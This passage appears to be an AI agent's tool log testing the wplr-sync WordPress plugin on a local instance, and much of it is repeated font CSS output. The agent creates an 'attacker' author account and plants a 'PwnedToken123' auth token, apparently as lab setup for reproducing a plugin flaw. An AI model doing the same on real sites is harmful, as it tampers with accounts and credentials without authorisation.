{ set_transient( 'wplr-media-size-' . $wp_id, filesize( $newpath ) ); } do_action( 'wplr_add_media', (int)$wp_id ); if ( !empty( $lrinfo->tags ) ) $this->sync_media_tags( $wp_id, $lrinfo->tags ); return true; }\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"function wplr_sanitize_filename\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fcore.php:1335:\tfunction wplr_sanitize_filename( $filename ) {\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '1335,1341p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fcore.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nfunction wplr_sanitize_filename( $filename ) { if ( get_option( 'wplr_filename_accents', false ) ) return $filename; $path = pathinfo( $filename ); $new = preg_replace( '\u002F.' . $path['extension'] . '$\u002F', '', $filename ); return sanitize_title( $new ) . '.' . $path['extension']; }\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp user create attacker attacker@example.com --role=author --user_pass=password`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSuccess: Created user 3.\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp user meta update 3 wplr_auth_token \"PwnedToken123\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSuccess: Updated custom field 'wplr_auth_token'.\n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fprofile.php","**Read page content** (`body`)\n\u003Cdetails>\u003Csummary>Content\u003C\u002Fsummary>\n\n```\nWordPress database error: [Table 'wp.wp_lrsync_collections' doesn't exist]SELECT wp_col_id, name, wp_folder_id, is_folder, source FROM wp_lrsync_collections WHERE wp_folder_id IS NULL ORDER BY is_folder DESC, name, lr_col_id @media print { #wpadminbar { display:none; } } img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } @font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fmanrope\u002FManrope-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:\"Fira Code\";font-style:normal;font-weight:300 700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Ffira-code\u002FFiraCode-VariableFont_wght.woff2') format('woff2');} @font-face{font-family:Beiruti;font-style:normal;font-weight:200 900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fbeiruti\u002FBeiruti-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraLight.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraLightItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Light.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-LightItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Regular.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-RegularItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Medium.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-MediumItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-SemiBold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-SemiBoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Bold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-BoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraBold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraBoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Black.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-BlackItalic.woff2') format('woff2');}\n@font-face{font-family:Vollkorn;font-style:italic;font-weight:400 900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fvollkorn\u002FVollkorn-Italic-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Vollkorn;font-style:normal;font-weight:400 900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fvollkorn\u002FVollkorn-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:\"Fira Code\";font-style:normal;font-weight:300 700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Ffira-code\u002FFiraCode-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fplatypi\u002FPlatypi-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fplatypi\u002FPlatypi-Italic-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:\"Ysabeau Office\";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fysabeau-office\u002FYsabeauOffice-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:\"Ysabeau Office\";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fysabeau-office\u002FYsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:\"Roboto Slab\";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Froboto-slab\u002FRobotoSlab-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fmanrope\u002FManrope-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraLight.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraLightItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Light.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-LightItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Regular.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-RegularItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Medium.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-MediumItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-SemiBold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-SemiBoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Bold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-BoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraBold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraBoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Black.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-BlackItalic.woff2') format('woff2');}\n@font-face{font-family:\"Ysabeau Office\";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fysabeau-office\u002FYsabeauOffice-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:\"Ysabeau Office\";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fysabeau-office\u002FYsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fplatypi\u002FPlatypi-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fplatypi\u002FPlatypi-Italic-VariableFont_wght.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraLight.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraLightItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Light.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-LightItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Regular.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-RegularItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Medium.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-MediumItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-SemiBold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-SemiBoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Bold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-BoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraBold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraBoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Black.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-BlackItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraLight.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraLightItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Light.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-LightItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Regular.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-RegularItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Medium.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-MediumItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-SemiBold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-SemiBoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Bold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-BoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraBold.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-ExtraBoldItalic.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-Black.woff2') format('woff2');}\n@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Fliterata\u002FLiterata72pt-BlackItalic.woff2') format('woff2');}\n@font-face{font-family:\"Fira Sans\";font-style:normal;font-weight:100;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Ffira-sans\u002FFiraSans-Thin.woff2') format('woff2');}\n@font-face{font-family:\"Fira Sans\";font-style:italic;font-weight:100;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Ffira-sans\u002FFiraSans-ThinItalic.woff2') format('woff2');}\n@font-face{font-family:\"Fira Sans\";font-style:normal;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Ffira-sans\u002FFiraSans-ExtraLight.woff2') format('woff2');}\n@font-face{font-family:\"Fira Sans\";font-style:italic;font-weight:200;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Ffira-sans\u002FFiraSans-ExtraLightItalic.woff2') format('woff2');}\n@font-face{font-family:\"Fira Sans\";font-style:normal;font-weight:300;font-display:fallback;src:url('http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfive\u002Fassets\u002Ffonts\u002Ffira-sans\u002FFiraSans-Light.woff2') format('woff2');}\n@font-face{\n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=wplr-sync-settings","**WP-CLI:** `wp db size --tables`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nName\tSize\nwp_commentmeta\t49152 B\nwp_comments\t98304 B\nwp_links\t32768 B\nwp_options\t180224 B\nwp_postmeta\t49152 B\nwp_posts\t81920 B\nwp_term_relationships\t32768 B\nwp_term_taxonomy\t49152 B\nwp_termmeta\t49152 B\nwp_terms\t49152 B\nwp_usermeta\t49152 B\nwp_users\t65536 B\n```\n\u003C\u002Fdetails>","**Shell:** `grep -r \"dbDelta\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Finit.php: dbDelta($sql);\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Finit.php: dbDelta($sql);\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Finit.php: dbDelta($sql);\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Finit.php: dbDelta($sql);\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Finit.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n get_charset_collate(); $tbl_lrsync = $wpdb->prefix . \"lrsync\"; $sql = \"CREATE TABLE $tbl_lrsync ( id BIGINT(20) NOT NULL AUTO_INCREMENT, wp_id BIGINT(20) NULL, lr_id BIGINT(20) NULL, lr_file TINYTEXT NULL, lastsync DATETIME NULL, PRIMARY KEY id (id) ) \" . $charset_collate . \";\"; dbDelta($sql); $tbl_collections = $wpdb->prefix . \"lrsync_collections\"; $isNewToCollections = ($wpdb->get_var(\"SHOW TABLES LIKE '$tbl_collections'\") != $tbl_collections); $sql = \"CREATE TABLE $tbl_collections ( wp_col_id BIGINT(20) NOT NULL AUTO_INCREMENT, source TINYTEXT NULL, lr_col_id BIGINT(20) NULL, wp_folder_id BIGINT(20) NULL, name TINYTEXT NULL, slug TINYTEXT NULL, is_folder TINYINT(1) NOT NULL DEFAULT 0, featured_id BIGINT(20) NULL, lastsync DATETIME NULL, PRIMARY KEY id (wp_col_id) ) \" . $charset_collate . \";\"; dbDelta($sql); $tbl_relations = $wpdb->prefix . \"lrsync_relations\"; $sql = \"CREATE TABLE $tbl_relations ( id BIGINT(20) NOT NULL AUTO_INCREMENT, wp_col_id BIGINT(20) NULL, wp_id 